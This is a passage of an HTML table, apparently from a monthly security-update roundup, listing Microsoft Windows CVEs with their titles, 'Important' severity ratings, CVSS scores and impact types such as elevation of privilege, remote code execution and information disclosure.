 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
